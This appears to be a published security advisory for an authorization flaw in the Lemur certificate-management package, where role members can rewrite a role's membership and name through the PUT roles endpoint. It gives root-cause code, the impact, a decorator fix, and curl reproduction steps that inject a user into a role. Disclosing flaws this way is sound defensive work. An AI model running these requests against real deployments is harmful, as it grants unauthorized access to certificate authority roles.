PT-2026-59246 · Pypi · Lemur

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

6.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

The PUT /api/1/roles/<id> handler in lemur/roles/views.py gates only on RoleMemberPermission(role id).can(), which is satisfied for any user who is already a member of the target role. The handler then passes data["users"] and data["name"] directly to service.update(), permitting any role member to rewrite that role's membership list and name. The companion DELETE handler on the same resource is correctly gated by @admin permission.require; the asymmetry between PUT and DELETE on identical resources indicates an authorization oversight rather than a deliberate design choice.

Root Cause

lemur/roles/views.py:298:
python
permission = RoleMemberPermission(role id)
if permission.can():
  return service.update(
    role id, data["name"], data.get("description"), data.get("users")
  )
return dict(message="You are not authorized to modify this role."), 403
 
@admin permission.require(http exception=403)
def delete(self, role id):
  ...
lemur/auth/permissions.py:56:
python
class RoleMemberPermission(Permission):
  def  init (self, role id):
    needs = [RoleNeed("admin"), RoleMemberNeed(role id)]
    super(). init (*needs)
flask principal.Permission.allows() is OR-semantic across needs, so RoleMemberPermission(role id).can() returns True if the caller is either an admin or a member of role id. The PUT handler treats membership-of-self as sufficient to mutate the role; DELETE does not.

Affected Endpoints

MethodPathSource
PUT/api/1/roles/<id>lemur/roles/views.py:298

Impact

A user who is a member of role X can:
  • Add other users to role X, granting them whatever certificate/authority access role X confers. In installs that delegate certificate or authority ownership to non-admin roles, this promotes arbitrary users to peer of every other role member.
  • Remove other users from role X, denying their access (availability / governance impact).
  • Rename role X to an arbitrary string. The "rename to admin" path is blocked by the unique=True constraint on Role.name and by strict equality in User.is admin, so direct self-promotion to admin via rename is not possible on default installs. The principal exploitation surface is membership rewriting and lateral promotion of colluders within roles the attacker already belongs to.

Remediation

Add @admin permission.require(http exception=403) to Roles.put, mirroring the existing decorator on Roles.delete:
python
@admin permission.require(http exception=403)
def put(self, role id, data=None):
  ...
If selective delegation is intended (role owners managing their own roles), that capability should be modeled with a dedicated permission class whose Needs reflect role ownership rather than membership, and the name field should be excluded from the mutable schema on that delegated path.

Steps to Reproduce

  1. Set up Lemur with default configuration. Create an admin user admin, and two non-admin users alice and bob. Add alice to the built-in operator role; leave bob with no roles or with read-only only.
  2. Authenticate as alice and capture the JWT:
curl -X POST https://lemur.local/api/1/auth/login 
  -H "Content-Type: application/json" 
  -d '{"username":"alice","password":"<alice pw>"}'
  1. Confirm the initial state - bob is not a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator 
  -H "Authorization: Bearer <admin jwt>"
# observe: alice present in users list, bob absent
  1. As alice, send a PUT that injects bob into the operator role:
curl -X PUT https://lemur.local/api/1/roles/<operator role id> 
  -H "Authorization: Bearer <alice jwt>" 
  -H "Content-Type: application/json" 
  -d '{
     "name": "operator",
     "description": "modified by alice",
     "users": [{"id": <alice id>}, {"id": <bob id>}]
    }'
# observe: HTTP 200
  1. Confirm bob is now a member of operator:
curl https://lemur.local/api/1/roles?filter=name;operator 
  -H "Authorization: Bearer <admin jwt>"
# observe: bob now present in users list
Step 4 succeeds despite alice not being an admin. The same handler also accepts a name field; substituting "name": "operator v2" in step 4 renames the role, demonstrating the second variant of the bug.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
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Related Identifiers

PYSEC-2026-2591

Affected Products

Lemur